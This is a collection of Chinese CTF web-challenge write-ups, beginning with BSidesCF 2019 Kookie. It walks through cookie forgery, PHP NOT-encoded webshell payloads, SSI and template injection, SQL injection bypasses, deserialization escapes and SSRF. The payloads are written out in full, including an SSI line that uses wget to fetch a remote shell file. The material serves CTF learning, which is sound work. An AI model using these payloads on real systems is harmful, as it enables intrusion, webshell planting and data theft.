[BSidesCF 2019]Kookie

要让我们使用admin登录进去,但是只给我们cookie的username和密码
所以我们先尝试一下登录,没什么大用处
所以直接下一位
抓包试试,然后直接重发看看会发生什么效果

所以说,我们的username是靠cookie决定的,所以我们可以试试在原本的抓包中创建一个新的cookie

一定要在referer之前传才有用哦
放包就直接登上去了

要让我们使用admin登录进去,但是只给我们cookie的username和密码
所以我们先尝试一下登录,没什么大用处
所以直接下一位
抓包试试,然后直接重发看看会发生什么效果

所以说,我们的username是靠cookie决定的,所以我们可以试试在原本的抓包中创建一个新的cookie

一定要在referer之前传才有用哦
放包就直接登上去了

过滤了所有的字母和数字,这一次我们可以采用取反获取payload
先试试phpinfo
<?php |
所以在此
构造payload:
?code=(~%8F%97%8F%96%91%99%90)();
解析一下,因为字符串是取反了的,所以在前面填一个~相当于又取反回来了,在加上()和;相当于一个命令执行

发现禁用函数
先不管,首先创造payload:
assert(eval($_POST[1]));
这个就是一句话木马,使用assert将括号内的内容当做代码执行
将这个进行取反
但是主义assert和eval($_POST[1])要分开来取反,所以创建一个脚本
<?php |
然后使用蚁剑进行连接
连接成功

但是关键的两个打不开,我们猜测要使用readflag去进行读取,但是禁用了许多函数
我们这里可以尝试一下使用蚁剑的插件

easysearch,应该是让我们信息搜集的吧
所以扫后台发现index.php.swp备份。
查看该网址,发现源代码
<?php |
重点在admin那一段,要求上传的password和admin前6位一样
所以找一找有没有这样的字符串
写一个脚本
import hashlib |
2020666是其中找到的一个
之后尝试使用用户名(随机)加找出来的可以使用的密码尝试
抓包发现url

尝试进入

因为是shtml文件,所以使用ssi注入,关于ssi注入最后会进行解释
其注入格式为:
<!--#exec cmd="命令" --> |
所以,尝试命令
<!--#exec cmd="ls" --> |
因为只有username被回显,所以命令通过username传上去
发现出现了大批回显,所以是可以实现的
但是这个文件里面没什么东西,所以往上层查查看
所以尝试命令
<!--#exec cmd="ls ../" --> |

发现flag
之后就是打开这个了
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" --> |
找到flag
SSI注入全称Server-Side Includes Injection,即服务端包含注入。在stm、shtm、shtml等Web页面中,如果用户可以从外部输入SSI标签,而输入的内容会显示到上述后缀的Web页面时,就导致可以远程在Web应用中注入脚本来执行代码。
简单点说就是攻击者可以通过外部输入SSI标签到Web页面(stm、shtm、shtml文件)来动态执行代码。
SSI注入允许远程在Web应用中注入脚本来执行代码。简单点说就是攻击者可以通过外部输入SSI语句到Web页面来动态执行代码。
攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:
一般地,在stm、shtm、shtml等文件中,存在XSS的页面,大概率是存在SSI注入漏洞的。也就是说,用户输入的内容会显示在页面中的场景。比如,一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI注入漏洞。
Linux
列出目录文件:
<!--#exec cmd="ls" --> |
访问目录:
<!--#exec cmd="cd /root/dir/"> |
执行脚本:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --> |
Windows
列出目录文件:
<!--#exec cmd="dir" --> |
访问目录:
<!--#exec cmd="cd C:\admin\dir"> |


就这两张图
怎么获得ip
经过查阅发现是使用的xff
具体情况之后知识点总结
所以,这里我们要通过xff来获取flag
在抓包页面加上X-Forwarded-For:123
页面变成了

所以我们可以知道xff之后的就是可以回显的东西,尝试一下注入
但是加上一些sql注入的语句之后发现不太行
这个时候就可以尝试一下模版注入
X-Forwarded-For:3
发现回显是

说明里面的东西是能执行的
所以,尝试一些命令
X-Forwarded-For:{{system('ls /')}} |

之后就是
X-Forwarded-For:{{system('cat /flag')}} |
拿到flag
有关:
X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。
也就是记录ip地址的作用
php获取ip示例:
function getRemoteIP() |
漏洞描述:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改
X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
检测方法:
通过火狐的插件X-Forwarded-for header 1.0.1.1 进行对本地IP地址进行修改,为其带入的IP地址加入敏感字符
修改后,找到网站登录页面或者其它功能交互页面,提交数据后,查看是否会报错,如果会报错,则说明可能存在该漏洞

在网址前面加上view-source:就行了,可以看到源代码
之后再代码里找到一个

进去之后是这样的

所以我们看看这个代码
这道题的flag在phpinfo里面,所以,我们要做的就是进入这个界面,所以,想到通过data传一个命令去打开phpinfo
同时输出的事$b($a)
所以猜测是重新传输一个a和b上去
<?php |
使用这个去实现序列化,然后将结果传给data
所以随后的payload为:
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";} |
之后就进去了phpinfo界面
查找flag

知识点:
assert — 检查一个断言是否为 false
assert(mixed $assertion, Throwable $exception = ?): bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

先说测试结果,这个页面是实现不了注入的,过滤的真干净,可能有大佬可以,但是我目前是不行
所以随便注册了个账号进去

登陆之后的页面是这样的
注销登陆就是登出,没什么用
我们直接点进申请发布广告,看看有没有注入的可能性

输入’进去,发现广告详情处产生报错

所以可以确定是存在注入点的,嘻嘻
所以之后就是尝试注入,联合注入
其中有些敏感字符被替换
空格被替换为空 |
所以绕过这些去进行一个注入,首先group by找列数
'/**/group/**/by/**/23,' |
,’是为了和后面的limit产生闭合
之后的几个就是直接使用&&’1’=’1进行闭合了
找出有23列
之后就是正常注入,爆出查找回显位为2,3
之后爆出数据库
'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,' |
但是我们可以知道的是or被过滤了
所以information_schema用不了,经过查询可以使用mysql.innodb_table_stats进行替换
所以创造出payload
1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1 |
然后是最后的查找字段了,但是,emm
过滤了information_schema,table还有代替的表名,column可没有
所以在查询之后发现的方法就是直接查询表内所有数据
相关payload如下
1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1 |
拿到flag
接下来是关键知识点解析:
为什么会需要无列名注入?
我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
无列名注入使用条件
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入原理
无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。
实战演示:
正常查user表的数据是select * from user;
用联合查询的方式来查一下表中数据select 1,2,3 union select * from user;。很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。
只查一个列的字段值的话我们可以用:
解释一下,xxx就是自己命名的虚拟表的表名,可以自定义。这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。
select 2 from (select 1,2,3 union select * from user)xxx;
同时查多个列
select concat(2,3) from (select 1,2,3 union select * from user)xxx;
不过有时候 ` 也会被过滤,这时候我们就又要用到取别名(as)的操作了,把列名都换一换,那样查数据时候列名就不需要反引号了。
select 1 as a,2 as b,3 as c union select * from user;
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;
还有一种是利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名。
select * from (select * from user as a join user as b)xxx;
得到了第一个列名id,下面这个payload就会给我们回显第二列的数据。
select * from (select * from user as a join user as b using(id))xxx;
剩下的以此类推。
select * from (select * from user as a join user as b using(id,username))xxx;

好,sql盲注!
看看12345,都没啥用
6也没啥用处
所以我们尝试一下就是说
有一种特殊的报错,是Error! <br>
,就目前观察来看,是符合当前注入的SQL查询错误。
再补充下异或得到的值:
1^0 1
1^1 0
1^2 3
1^3 2
1^4 5
1^5 4
1^6 7
1^7 6
一般来讲,1^true=0,1^false=1
这是异或注入的原理
也就是说,我们经常使用到的是:
1^(true)=0 ERROR!!!
1^(false)=1 NO! Not this! Click others~~~
这俩数据,是我们进行爆破的核心关键所在。
所以我们尝试异或注入
大括号的意思是包含了某个值,大括号的具体内容看下面脚本就行了 |
我们尝试使用脚本
# 休息时间应该长一些 |
拿到flag

看到phpinfo旁边的提示了,尝试观察phpinfo

找到了这个
再往后尝试 show_image,没什么用
但是我们仔细看看就会发现只有传了show_image才能进行反序列化
所以,当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密
所以之后就来看看serialize_info
filter是过滤用的
原理:因为序列化的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。
并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
示例:
<?php |
我们有了这个逃逸概念的话,就大概可以理解了。如果我们把
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,
然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。
那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。
post一个数据。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这个肯定就是我们预期的那段序列化字符,
那么 ;s:1:”1”; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
并且这个字符串得好好读才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}"; |
经过filter过滤后phpflag就会被替换成空,
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。
两个键值分别被序列化成了
s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被当成孤儿放弃了。
发现/d0g3_fllllllag,base64加密,替换原字符串
这里将下面的东西进行序列化
$_SESSION[“user”] = ‘guest’;
$_SESSION[‘function’] = ‘a’;
$_SESSION[‘img’] = ‘ZDBnM19mMWFnLnBocA==’;//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
//得到
string(90)”a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:1:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”
将这里的user和function进行修改,然后这里会进行代码一开始的过滤,将变量$img中的php flag php5 php4 fl1g的字符串替换成’’空字符
$_SESSION[“user”] = ‘flagflagflagflagflagflag’;
$_SESSION[‘function’]= = ‘a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}’;
$_SESSION[‘img’]=’ZDBnM19mMWFnLnBocA==’;
// d0g3_f1ag.php base64编码
序列化后
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
将flag进行了过滤
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
由于s:24 会往后边读取24位字符”;s:8:”function”;s:59:”a做为user的属性值, #号包含起来的部分,读取到a的时候结束,后面的;进行了闭合,相当于吞掉了一个属性和值,接着会继续读取我们构造的img,由于总共三个属性,我在后边加上了一个属性和值,后边的序列化结果直接就被丢弃
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}
得到了flag in /d0g3_fllllllag

两者核心都在于通过构造某个变量,使得后面的变量无效化
最后将/d0g3_fllllllag,base64加密
得到L2QwZzNfZmxsbGxsbGFn
替换flag.php机密过后的结果,即可获得flag
``<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET[‘c’])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET[‘c’]; if (strlen($content) >= 80) { die(“太长了不会算”); } $blacklist = [‘ ‘, ‘\t’, ‘\r’, ‘\n’,’'‘, ‘“‘, ‘`’, ‘[‘, ‘]‘];
foreach ($blacklist as $blackitem)
{if (preg_match(‘/‘ . $blackitem . ‘/m’, $content))
{die(“请不要输入奇奇怪怪的字符”);}}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = [‘abs’, ‘acos’, ‘acosh’, ‘asin’, ‘asinh’, ‘atan2’, ‘atan’, ‘atanh’, ‘base_convert’, ‘bindec’, ‘ceil’, ‘cos’, ‘cosh’, ‘decbin’, ‘dechex’, ‘decoct’, ‘deg2rad’, ‘exp’, ‘expm1’, ‘floor’, ‘fmod’, ‘getrandmax’, ‘hexdec’, ‘hypot’, ‘is_finite’, ‘is_infinite’, ‘is_nan’, ‘lcg_value’, ‘log10’, ‘log1p’, ‘log’, ‘max’, ‘min’, ‘mt_getrandmax’, ‘mt_rand’, ‘mt_srand’, ‘octdec’, ‘pi’, ‘pow’, ‘rad2deg’, ‘rand’, ‘round’, ‘sin’, ‘sinh’, ‘sqrt’, ‘srand’, ‘tan’, ‘tanh’];
preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs);
foreach ($used_funcs[0] as $func)
{if (!in_array($func, $whitelist))
{die(“请不要输入奇奇怪怪的函数”);}
}
//帮你算出答案
eval(‘echo ‘.$content.’;’); }
以上就是本题代码
分析一下
不能传超过80个字符串以上
然后是黑名单加白名单
此处是不能直接用cat /flag的
要想办法构造该命令执行
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);
$a='system'; |
所以可以构建
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
但是,a、b都不在白名单
所以,我们可以直接用一些变量名替换
比如
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
同时_和[]是被禁用的
所以,我们要找一找其他的方法
可以尝试字符串转进制的方式
这里可以用到hex2bin函数
所以
我们去找一找
_GET函数就是5f 47 45 54
但是hex2bin也没有在白名单啊,怎么办
这个时候就可以使用base_convert
base_convert()函数能够在任意进制之间转换数字
hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin
hex2bin=base_convert(37907361743,10,36)
之后在使用dechex将10进制的数字转化为16进制的5f 47 45 54
之后就可以实现hex2bin(5f 47 45 54)的操作
最终payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
这里是定义个变量,否则后面要写一大串,没必要
直接拿下

发现有robots.txt可以打开

直接访问
下载之后直接打开

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
http://payloads.net/ssrf.php?url=192.168.1.10:3306
http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile() |
所以在这里我们可以发现关于curl_exec函数的使用
认定为ssrf漏洞
ssrf访问的话可以使用伪协议
file://var/www/html/flag.php
比较经典的var/www/html/

apache的主要配置文件默认站点目录
回到题目
首先是先注册一个账号。之后进入用户界面发现no参数
尝试一下1 or 1=1–+
是可以注入的,所以应该可以尝试SQL注入
剩下的就是sql注入
?no=1 order by 4` |
到这里都没什么问题
过滤了空格但是可以/**/绕过,没什么大问题
到最后,我们可以发现账户密码都无所谓因为都是自己设置的
所以,接下来就是看data
O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:12;s:4:”blog”;s:8:”123.blog”;}
根据注入可知,username是的二位。猜测data为第四个字段,所以我们可以尝试写入一些连接,通过反序列化的形式写入
所以构建payload:
?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
写入data字段
在页面代码中发现一串base64编码

翻译一下
找到flag